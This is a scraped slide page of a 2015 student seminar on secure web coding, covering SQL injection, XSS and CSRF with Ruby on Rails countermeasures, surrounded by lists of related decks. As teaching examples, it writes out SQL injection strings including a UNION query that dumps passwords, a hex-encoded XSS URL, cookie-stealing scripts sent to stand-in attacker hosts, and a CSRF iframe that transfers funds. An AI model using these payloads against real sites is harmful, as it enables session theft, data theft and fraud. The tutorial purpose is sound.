Muhammad Ali y Joe FrazierMuhammad Ali y Joe Frazier
Muhammad Ali y Joe Frazier
 
Chapter 5 semantic web
Chapter 5 semantic webChapter 5 semantic web
Chapter 5 semantic web
 
Deformable and Shape Changing Interfaces
Deformable and Shape Changing InterfacesDeformable and Shape Changing Interfaces
Deformable and Shape Changing Interfaces
 
Straight Drive 12 Questions
Straight Drive 12 QuestionsStraight Drive 12 Questions
Straight Drive 12 Questions
 
Supply management, value chain &amp; demand forecasting
Supply management, value chain &amp; demand forecastingSupply management, value chain &amp; demand forecasting
Supply management, value chain &amp; demand forecasting
 
How to taste wine - a guide from Wineware.co.uk
How to taste wine - a guide from Wineware.co.ukHow to taste wine - a guide from Wineware.co.uk
How to taste wine - a guide from Wineware.co.uk
 
Taller exprés planificación ágil
Taller exprés planificación ágilTaller exprés planificación ágil
Taller exprés planificación ágil
 
Scalable vertical search engine with hadoop
Scalable vertical search engine with hadoopScalable vertical search engine with hadoop
Scalable vertical search engine with hadoop
 

Similaire à Seminar2015Bilic_Nicole

Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseNoaman Aziz
 
IRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET Journal
 
Security vulnerabilities related to web-based data
Security vulnerabilities related to web-based dataSecurity vulnerabilities related to web-based data
Security vulnerabilities related to web-based dataTELKOMNIKA JOURNAL
 
SQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive AlgorithmSQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive AlgorithmIOSR Journals
 
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...ijcisjournal
 
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...ijcisjournal
 
Computer security Description about SQL-Injection and SYN attacks
Computer security Description about SQL-Injection and SYN attacksComputer security Description about SQL-Injection and SYN attacks
Computer security Description about SQL-Injection and SYN attacksTesfahunegn Minwuyelet
 
Study of Web Application Attacks & Their Countermeasures
Study of Web Application Attacks & Their CountermeasuresStudy of Web Application Attacks & Their Countermeasures
Study of Web Application Attacks & Their Countermeasuresidescitation
 
Web security 2010
Web security 2010Web security 2010
Web security 2010Alok Babu
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01G Prachi
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilitiesAngelinaJasper
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEAjith Kp
 
Attacks on web services need to secure xml on web
Attacks on web services need to secure xml on webAttacks on web services need to secure xml on web
Attacks on web services need to secure xml on webcseij
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
HallTumserFinalPaper
HallTumserFinalPaperHallTumserFinalPaper
HallTumserFinalPaperDaniel Tumser
 

Similaire à Seminar2015Bilic_Nicole (20)

Sql
SqlSql
Sql
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
 
IRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & Mitigation
 
Security vulnerabilities related to web-based data
Security vulnerabilities related to web-based dataSecurity vulnerabilities related to web-based data
Security vulnerabilities related to web-based data
 
E017131924
E017131924E017131924
E017131924
 
SQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive AlgorithmSQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive Algorithm
 
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
 
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
Deployment of Reverse Proxy for the Mitigation of SQL Injection Attacks Using...
 
SQL injection and SYN attack
SQL injection and SYN attackSQL injection and SYN attack
SQL injection and SYN attack
 
Computer security Description about SQL-Injection and SYN attacks
Computer security Description about SQL-Injection and SYN attacksComputer security Description about SQL-Injection and SYN attacks
Computer security Description about SQL-Injection and SYN attacks
 
Study of Web Application Attacks & Their Countermeasures
Study of Web Application Attacks & Their CountermeasuresStudy of Web Application Attacks & Their Countermeasures
Study of Web Application Attacks & Their Countermeasures
 
Web security 2010
Web security 2010Web security 2010
Web security 2010
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
 
gpt.AI.docx
gpt.AI.docxgpt.AI.docx
gpt.AI.docx
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
Attacks on web services need to secure xml on web
Attacks on web services need to secure xml on webAttacks on web services need to secure xml on web
Attacks on web services need to secure xml on web
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
HallTumserFinalPaper
HallTumserFinalPaperHallTumserFinalPaper
HallTumserFinalPaper
 

Seminar2015Bilic_Nicole

  • 1. 0 SVEUČILIŠTE U ZAGREBU FAKULTET ELEKTROTEHNIKE I RAČUNARSTVA SEMINAR Writing secure code for web applications Nicole Bilić Voditelj: Marin Golub Zagreb, Svibanj, 2015
  • 2. 1
  • 3. 2 Table of contents 1. Introduction 4 2. Types of attacks for Web applications 5 2.1.SQL Injection 6 2.1.1. Example 8 2.2. Cross-site scripting attack (XSS) 11 2.2.1. Same-origin policy 11 2.2.2. XSS attack 11 2.2.3. Example 1 13 2.2.4. Example 2 15 2.3. Cross-site request forgery attack (CSRF) 16 2.3.1. Example 16 2.4. CSRF and XSS combination 18 3. Examples in Ruby on Rails 19 3.1. SQL Injection 19 3.1.1. How to write SQL injection secure code in RoR 20 3.2. XSS attack 21 3.2.1. How to write XSS attack secure code in RoR 21 3.3. CSRF attack 24 3.3.1. How to write CSRF secure code in RoR 24 4. Conclusion 26 5. Sources 27 6. Summary 28
  • 4. 3 1. Introduction In the modern times, the need and usage of web application is huge.Therefore, the need for web frameworks was increased in order to enable everyday, regular user to easily create a web page for his needs that does not consist only of raw HTML. Unfortunately, with this simplicity, comes also a great risk, especially if a person making a web application is not an experienced programmer. Depending on the purpose of the application, vary the security issues. However, main problems are personal data theft (which vary from theft of email addresses in order to sell them on the black market, to more serious identity thefts and similar) and thefts of valuable information in financial area. Considering rapid growth of websites and web applications, this paper should inform and draw attention to preventing these issues at the beginning, i.e. in the source code.
  • 5. 4 2. Types of attacks for Web applications We will focus on three most popular attacks (or should I say, worst enemies?) in this paper which are considered to be in the top 10 web application vulnerabilities. With all the advancement of computer science and software security, these three attacks still cause big headaches to programmers. All of them are based on mistakes in the use of certain methods or on security risks being overlooked. 1. SQL Injection 2. Cross-site scripting (XSS attack) 3. Cross-site request forgery (CSRF attack)
  • 6. 5 2.1.SQL Injection SQL injection is a code injection technique in which malicious SQL statements are inserted into an entry field for execution [4]. SQL injection errors occur when: 1. Program is interacting (getting data) from an untrusted source 2. The data retrieved in 1. is used for dynamical construction of SQL queries The main consequences are: 1. Confidentiality - Loss of confidentiality happens due to the fact that databases usually store confidential information about users, political parties, country, military, companies, associations, etc. 2. Authentication - If username and password are handled by poorly formed SQL statements it is possible for the attacker to login as an existing user without previously knowing the password. In this case, the main purpose of prompting users for password is simply bypassed. 3. Authorization - If the database contains information about authorization, it is possible to change this information in the database by exploiting SQLI vulnerability (eg. give yourself administrator privileges) 4. Integrity - Exploitation of SQLI vulnerability grants access to reading the data from the database as well as changing and/or deleting it. Therefore, the integrity of the data is not ensured. In 2013, SQLI was the number one attack on the Open Web Application Security Project(OWASP) list. Using SQLI attacks it is possible for the attacker to tamper with existing data or even destroy it, become administrator of the database server or retrieve confidential personal data about users/clients stored in the database tables. The severity of SQLI attack depends mostly on attacker’s skills. There are several main sub-classes of SQL injection [4]: 1. Classic SQLI - This attack exploits a security vulnerability in an application’s software, when, for example, user input is either
  • 7. 6 incorrectly filtered for string literal escape characters embedded in SQL statements. It is easily detectable by an average experienced attacker if a web application is vulnerable to this attack. It is performed by malforming the input text which is processed by web applications, eg. when logging in, putting an apostrophe in the username (nick’name). If SQLI vulnerability exists, a webpage with useful error message from the database server will be shown. In this webpage, database server complains about SQL Query’s syntax being incorrect. 2. Blind SQLI - The difference between Blind and Classic SQLI is in a response sent from database server. In this case, instead of an error web page, a generic web page with no useful data is shown. That makes SQLI attack more complicated but not impossible. It is still possible to retrieve useful data from database by asking a series of True and False questions through sql statements. The answer determination can be: a. Content-based - an attacker injects a simple query which always evaluates to ‘false’, such as ‘and 1=2’. In case that SQLI vulnerability exists, the web application will probably return nothing. In order to make sure, the attacker injects another simple query which always evaluates as ‘true’ such as ‘and 1=1’. If the content of the page is shown normally, it means that the web page is sensitive to SQLI attack b. Time-based - relies on the database pausing for a specified amount of time and returning the results which indicates SQL query was successfully executed. 3. Database management system-specific SQLI - SQLI attack targeting specific database management system syntax.
  • 8. 7 4. Compounded SQLI - combination of SQLI attack and another attack: a. SQLI + insufficient authentication b. SQLI + DDoS attacks c. SQL injection + DNS hijacking d. SQL injection + XSS 2.1.1. Example [7] This is an example of a simple SQL attack. Let us assume we have a log in web page similar to the one in the picture. First step would be to find out which server is used and that would also further reveal the database. In this example we will not look into that step. So assuming we know which database is used, next step is to study the log in site. When entering an email address, the system presumably looks in the user database for that email address. Figure 1. Login form
  • 9. 8 The first step is to enter a single quote in order to see if the SQL string is constructed without sanitizing. We get: 500 error (server failure) and/or some message about SQL statement being in the wrong format. Now we can assume that the SQL code lying underneath this login screen looks something like: SELECT fieldlist FROM table WHERE field = ‘$EMAIL’ If we enter name.surname@xyz.com’ the survey will look something like: SELECT fieldList FROM table WHERE field = ‘name.surname@xyz.com’ ’; When this is executed, SQL parser will find an extra quote and will abort with a syntax error. Since the text we enter appears in a WHERE clause of an SQL query, we can enter: anything’ OR ‘x’ = ‘x into an email textbox. Now SQL query looks like: SELECT fieldlist FROM table WHERE field = ‘anything’ OR ‘x’ = ‘x’; This condition will always evaluate as true. What happens next is that the query is executed and we get (for example) a screen with a message: your password was sent to an email address: random.person@xyz.com. In this moment already the privacy as one the most important security demands is not satisfied.
  • 10. 9 Further steps include trying to guess some field names (one of most common field names in this kind of databases are password, username, userid, address, email etc.) After guessing these parameters, SQL query is easily modified and the data in the database is changed on attacker’s behalf.
  • 11. 10 2.2. Cross-site scripting attack (XSS) 2.2.1. Same-origin policy Same-origin policy is an important part of an application security model. Under the policy, a web browser permits scripts contained in a first web page to access data in a second web page only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (Document Object Model). In other words, if content from one site is granted permission to access resources on the system, then any content from that site will share these permissions, while content from another site will have to be granted permissions separately [4]. 2.2.2. XSS attack Cross-site scripting is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users and it may be used by attackers to bypass access control such as the same-origin policy [4]. XSS attacks are based on the victim’s browser trust in a legitimate, but vulnerable website or web application. Attacker can access sensitive page content, session cookies and other information stored by the user’s browser, by finding a way to inject malicious script into the web page. The name “cross-site scripting” origins from the fact that the original version of XSS would load another website into an adjacent frame or window and then use JavaScript to read into it. One website could cross a boundary and script into another page, pull data from forms, rewrite the page, etc. Modern version of the attack describes general “HTML code injection” where some code is injected into the page in a way that the browser is tricked into treating it as executable code rather than data. Furthermore, code injected is not limited only to JavaScript. Two types of XSS attacks are recognized:
  • 12. 11 1. Reflected (non-persistent) - is the far most common type of an XSS attack. The condition for reflected XSS attack is met due to a lack of an input validation when a website and/or web application employs user’s input in HTML pages returned to the user’s browser. The name non-persistent actually describes the property of this type of attack since the malicious code is executed by victims browser and it is not stored anywhere but returned as part of the response HTML that the server sends. In other words, the victim sends malicious code to the web application which is then reflected back to the victim’s browser where the XSS code executes. It is also called Type 1 XSS because the attack is carried out through a single request-response cycle. There are three typical steps in a non-persistent XSS attack [8]: 1. Research - search for vulnerable websites. Potential candidates: a. websites with search functionality which display the searched term on the HTML page returned as a result b. websites with login functionality which display user’s credentials on the returned HTML page c. websites displaying information encoded in the HTTP headers (eg. browser type and version) d. websites using DOM parameter values (eg. document.URL) 2. Social engineering - the attacker is trying to influence the user to click on a link containing malicious URL which injects code into vulnerable web pages and/or web applications. This can be done using one of the following techniques: SPAM email containing a crafted link or HTML code, clickjacking, messages or posts in social media containing malicious link, etc. 3. Payload execution/consequences - after clicking on the crafted link, if the attack is successful, the script will execute and damage the user and/or download personal data and/or etc. The damage and the consequences vary on the code executed. Usual targets of the attack are:
  • 13. 12 a. Cookie theft - attackers steal user’s session cookies that are still active in order to gain access to websites and/or web application identifying as the attacked user. b. Data theft - attackers can read user’s browser history, file contents, directory listings etc. 2.2.3. Example 1 [8] This type of XSS attack requires user to visit the crafted link set by the attacker, only in that case user’s browser will execute the crafted code. Let us assume we have a simple php script as follows: <?php $name = $_GET[‘name’]; echo “Welcome $name<br>”; echo “<a href=”http://my-web-page.com/”>Click to visit MyPage</a>”; ?> One of the things attackers can do is alternate the address of a link to a corrupted web page of his choice. In order to do that, an attacker will craft an URL as follows and then send it to the victim: index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real- xssattackexamples.com/";}</script> Since the attackers usually try not to mess with the readability of a link, they will usually encode the ASCII characters to hex:
  • 14. 13 index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20% 3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6 d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61 %22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74% 61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e This makes it more likely for a victim not to notice that the link has been crafted. 2. Persistent (Stored) XSS attacks - attacks where the injected script stays permanently stored on the targeted server (eg. in a database, message forum, comment field, etc.). The script is obtained by the user’s request to the server which then returns malicious script. A classic example of this is with online message boards where users are allowed to post formatted messages for other users to read. These vulnerabilities are more dangerous than the first kind since the code is stored permanently and can potentially affect a large number of other users with a little need for social engineering. Persistent XSS is less frequent than Non-persistent XSS as the vulnerabilities which make it possible are less common and more difficult to find. Persistent XSS attack is also called Type-2 XSS because the attack is carried out by two requests: one for injecting malicious code and storing it on the web server and the other for when victim loads HTML page containing the payload. Typical steps in Persistent XSS attacks [8]: a. Searching for a vulnerable website - most of the vulnerable website have some typical properties. They contain message boards and/or forums, are used as social networks or as blogging websites, etc. b. Malicious code injection - after the targeted vulnerable website is found, the attacker will try to inject script code into data that is going to be stored on server. After that, the attacker will access the web pages that are reflecting back the content he posted to test if the script executes. In some cases, attackers input the malicious script manually but there
  • 15. 14 are also cases where this is done by tools which regularly inject scripts automatically. In the case of Persistent XSS attack, social engineering phase is not required since the victims do not need to be lured into clicking a link. On the other hand, social engineering can come handy when the attacker is trying to lure as much victims as possible to the infected web pages by promoting the link. The consequences of this attack can be catastrophical considering the fact that it is possible to execute arbitrary code, usually with elevated privileges since most of home users use the default “administrator” account. Same as with Reflected XSS attacks, the usual goals of Non-persistent XSS attacks is Cookie and Data theft. 2.2.4. Example 2 [8] The example web application does the following: ● There are two types of users: admin and normal user ● When admin logs in, he can see the list of usernames while normal users can only update their display name Now the attacker logs in as a normal user and as his username he enters the following text into the textbox: <a href=# onclick=”document.location=’http://my- xss.com/xss.php?c=’+escape(document.cookie);”> Nickname </a> The information that user entered will be stored in the database. Admin logs in to the system and sees “Nickname” among other users, clicks the link and the cookie with admin privileges is sent to an attacker’s web page. Now the attacker can post requests as admin using his cookie, until the session is expired.
  • 16. 15 2.3. Cross-site request forgery attack (CSRF) A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim [10]. In other words, the attacker manipulates the victim’s browser to send requests in the user’s name to websites that have been visited or are currently open, without the victim knowing what is happening in the background. Unlike XSS which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser. The attack is carried out by a link or a script in a page which access a site to which user is supposed to have been authenticated. CSRF attack is an attack against a Web browser. Some characteristics common to CSRF [10]: ● involve sites that rely on a user’s identity ● exploit the site’s trust in that identity ● trick the user’s browser into sending an HTTP requests to a target site ● involve HTTP requests that have side effects This attack is meant for web applications that, after the user is authenticated, do not prompt the user to authorize the specific action. User is authenticated by a cookie saved in a browser and he can unknowingly send an HTTP request to a site that trusts the user based on the cookie. There are several other names for this type of attacks including Session Riding and One-Click Attack. 2.3.1. Example [5] Typical steps example in CSRF attack: 1. Attacker prepares a malicious web page that can cause victims’ browser to send valid payment transfer requests a. Example: The attacker creates maliciouspage.html and embeds the following iframe code:
  • 17. 16 <iframe src=https//www.mybank.com/accounts/transfer.asp? sum=1000&target=D093487324></iframe> b. Prerequisites: The attacker studies the way the mybank online payment system works, using a legitimate account and tools to sniff the HTTP requests being sent by the browser as part of legitimate transactions. c. Variations: The forged request can be embedded straight in an email message, case in which there is no need for the web page. However by using a malicious web page, the attacker can get insight into how the attack is progressing by analyzing the web server logs. 2. The attacker sends out SPAM (by email, social networks, etc.) containing a (hidden) link to maliciouspage.html hoping that SPAM will reach users of mybank who frequently use the online payment system. 3. When the SPAM reaches such a victim, assuming they click through it and reach maliciouspage.html, their browser will send a request to https://www.mybank.com for transferring 1000$ into account D093487324
  • 18. 17 2.4. CSRF and XSS combination A combination of CSRF and XSS attack is a common practice. XSS attack is used in order to read the cookies and obtain the tokens needed for the malicious request made by CSRF attack. Furthermore, if the tokens are generated by the server, then XSS can be used to read a page on the server (XMLHTTPRequest), record the valid token and use it further for CSRF attack. Figure 2. CSRF and XSS combination, [5]
  • 19. 18 3. Examples in Ruby on Rails When sanitizing, protecting or verifying something, prefer whitelists over blacklists. A blacklist is a list of bad email addresses (that you want to be recognized and not allowed to use as a registration email address), bad HTML tags etc. Whitelist would contain the opposite - list of all emails (list accepted for registration), good HTML tags etc. However, sometimes it is not possible to use whitelists, for example for SPAM detection. 3.1. SQL Injection The following shows a typical SQL query in RoR to find the record of a user in a user table which matches the credentials user entered [6]: User.first(“Login = ‘#{params[:name]}’ AND password = ‘#{params[:password]}’”) Now, if attacker enters ‘ OR ‘1’=’1 as the name, and ‘ OR ‘2’>’1 as the password, SQL query would look as follows: SELECT * FROM users WHERE login = ‘ ’ OR ‘1’=’1’ AND password = ‘ ‘ OR ‘2’>’1’ LIMIT 1 The query will just return the first record from the database and enable access to this user. This allows the attacker to bypass the authorization. Furthermore, it is also possible to read confidential data from databases. Typical Ruby code can look like this: Project.where(“name = ‘#{params[:name]}’”) The attacker can inject his query and modify the existing one by entering: ‘) UNION SELECT id, login AS name, password
  • 20. 19 AS description,1,1,1 FROM users -- Two dashes indicate the end of an SQL statement, as it denotes the beginning of comments so everything after these two dashes will be ignored by compiler and ruled out as a comment. This creates an SQL statement as follows: SELECT * FROM projects WHERE (name = ‘ ‘) UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- As a result, we will get a list of user names and their passwords. 3.1.1. How to write SQL injection secure code in RoR It is good to know that Ruby on Rails has countermeasures that are already built in. Therefore, all that programmer needs to know is which built-in methods, used for SQL queries, are safe to use and they help to prevent the simplest SQLI attacks. There are some methods (such as Table.find(id) or similar) that have built-in filter for SQL special characters which will escape apostrophes, NULL and line breaks. On the other hand, in SQL fragments, especially in conditions fragments (where clause), SQL special character escape has to be done manually [6]. Instead of passing a string to the conditions options (In the example above, these strings are passed directly as parameters for WHERE part of an SQL clause), you can pass an array to sanitize tainted strings: Model.where(“Login = ? AND password = ?”, user_name, password).first or using hash: Model.where(login: user_name, password: password).first The array and hash form is only available in model instances.
  • 21. 20 3.2. XSS attack Like with most of injection based attacks, an entry point for this attack is a vulnerable URL and its parameters. Therefore, most common entry points are message posts, user comments etc., more or less everywhere where user can enter his own text. On the other hand, the input does not necessarily come from input boxes on websites, but can come as any URL parameter - hidden, obvious or internal. It is important to be aware that attacker can access any of the packages on the network, and with software (such as Wireshark and similar), it is easy to modificate the HTTP requests. In modern Web development, the most popular client-side scripting language is JavaScript in combination with HTML and CSS. Therefore, the most common language used for XSS is a combination of JavaScript and HTML [6]. The simplest example how to test a web page for XSS can be as follows: <script>alert('Hello');</script> This code will simply display a text box containing the text "Hello" and prove if the web page is resistant to XSS attack or not. 3.2.1. How to write XSS attack secure code in RoR Usually, the main goal of an attacker is to try to get user's session cookie. Assuming we have the following code [6]: <script>document.write('<img src="http://www.stolen-cookies.com/' + document.cookie + '">');</script>
  • 22. 21 Since this website does not actually exist, the browser will show empty window, but the attacker can check the access log on his server and see victim's cookie. The easiest solution here is to add httpOnly flag to cookies which makes it impossible for an attacker to use JavaScript to obtain user's cookie. However, this option is available only in newer versions of most of the browsers (for example Safari is still ignoring this option), and in older versions of browsers setting this option can cause the failure of loading the page. Furthermore, cookies are still obtainable using Ajax requests [6]. The most popular way to attack by XSS is to include code from external sources by iframes. This allows us to load arbitrary HTML and JavaScript code from an external source and embeds it as a part of the site. <iframe name="WebPage" src="http://58.xx.xxx.xxx" width=10 height=15 style="display:none"></iframe> In the case of reflected XSS attack, the user needs to click on the crafted link where URL contains the payload by the attacker. Let us assume that an attacker made his own web page that contains the crafted link. This link is masked by some nonthreatening term or sentence, such as: "Click here to continue" or similar. However the link URL, behind the scenes, can contain any kind of malicious script. Therefore, attacker's only mission is to make the user click the link [6]. The only way to try to fight this attack is to filter malicious input, as well as to escape the output of the web application. Furthermore, it is recommended to prefer whitelist filtering over blacklist. In earlier versions of Rails, blacklist approach was used, which an attacker could have avoided. Let us assume that we have a blacklist that contains word script. So, when the input is filtered, if an attacker would input "<scrscriptpt>", after the blacklist filtering, which would excluse "script" from this tag, we would still have "<script>" as a result. This is the reason why in newer versions of Rails whitelist approach is used. Therefore, instead of using method strip_tags(), it is recommended to use updated Rails 2 method sanitize(). Furthermore, it is a good
  • 23. 22 practice, especially when re-displaying user input, to escape all outputs of the application. Method escapeHTML() replaces HTML input characters &,",<,> with their uninterpreted representations in HTML (&amp, &quot, &lt, &gt). Other option is to install SafeErb gem which reminds the programmer to escape strings from external sources [6].
  • 24. 23 3.3. CSRF attack An entry point is a vulnerable URL and its parameters where an attacker can start an attack. The most common entry points are comments, posts, document names, etc. more or less everywhere where user can enter arbitrary text. This attack can combine with SQLI attack, in which case an attacker can put malicious code in every textual table column. The crafted link does not have to be within web application's domain, but it can be placed in places like forum, blog post or email. This attack is used on pages that access a web application where user is supposed to be authenticated so until the session for that application is not expired, attacker is able to execute unauthorized commands. The attacker needs to figure out the exact invocation of the targeted malicious action and then craft a link that performs the said action [6]. 3.3.1. How to write CSRF secure code in RoR First of all, it is recommended to use GET and POST appropriately. In other cases, when these commands are not used, security token will protect the application from CSRF. Security token is a token that our site knows, but other sites do not. It is included in requests and is verified on the server side. To include security token, programmer needs to add only one line [6]: protect_from_forgery with: :exception This includes automatically a security token in all forms and Ajax requests. If the security token does not match what was expected, Rails will throw an exception. In a lot of cases persistent cookies are used in order to store information about users. If that is the case, then non of the out of the box CSRF protection will not be effective. In those cases, programmer has to deal with it on his own by for example deleting user's cookie if security token is not present or is incorrect [6]. rescue_from ActionController::InvalidAuthenticityToken do
  • 25. 24 |exception| sign_out_user end However, in the newer versions of Ruby on Rails, two changes have been made. First, the security token is now obligatory for all non-GET requests. Second, when CSRF request fails, the session will be reset. If the programmer wants to change this default behaviour, the method: handle_unverified_requests needs to be overriden [6].
  • 26. 25 5. Conclusion It is important for every programmer to be familiar with actual threats in order to prevent malicious attacks which lead to personal data leakage, thefts and material damage. With each day the number of web applications is increasing. In today's world, it is already a common practice to informatise everyday life as much as possible, from paying the bills from home to food ordering over websites. This leads us to a conclusion that information security has to be in the highest level possible and programmer has to be aware of the threats to prevent attacks and not to patch the vulnerabilities after the damage has already been done.
  • 27. 26 6. Sources 1. SQL Injection, OWASP, 14.08.2014., SQL Injection, https://www.owasp.org/index.php/SQL_Injection, 10.5.2015. 2. Blind SQL Injection, CGISecurity, Blind SQL Injection, http://www.cgisecurity.com/questions/blindsql.shtml, 2.5.2015. 3. http://security.stackexchange.com, 11.5.2015. 4. http://en.wikipedia.org/wiki/Cross-site_scripting, 11.5.2015. 5. Acunetix, Ožujak 2014., http://www.acunetix.com, 3.5.2015. 6. Security Guide, http://guides.rubyonrails.org/security.html, 3.5.2015. 7. SQL Injection, Steve Friedl, SQL Injection Attacks by Example, http://unixwiz.net/techtips/sql-injection.html, 12.5.2015. 8. XSS examples, Lakshmanan Ganapathy, 16.2.2012., XSS Attack Examples (Cross-Site Scripting Attacks), http://www.thegeekstuff.com/2012/02/xss-attack-examples/, 12.5.2015. 9. Cross-site Scripting, Obi Orjih, 3.12.2007., Cross-site Scripting: An Attack Demonstration, http://www1.cse.wustl.edu/~jain/cse571- 07/ftp/xsscript/index.html#sec2.1, 3.5.2015. 10.Cross site Request Forgery, Robert Auger, 2010., Cross site Request Forgery, http://projects.webappsec.org/w/page/13246919/Cross%20Site%20Request% 20Forgery, 11.5.2015.
  • 28. 27 7. Summary Instructions on how to write secure code for Web applications. What to take into consideration when it comes to security of information and data leakage. Warn programmers about exploitation of badly written code as well as the importance of understanding and knowledge about the programming language used. Description of several popular attacks, such as: SQLI attack, XSS attack and CSRF attack.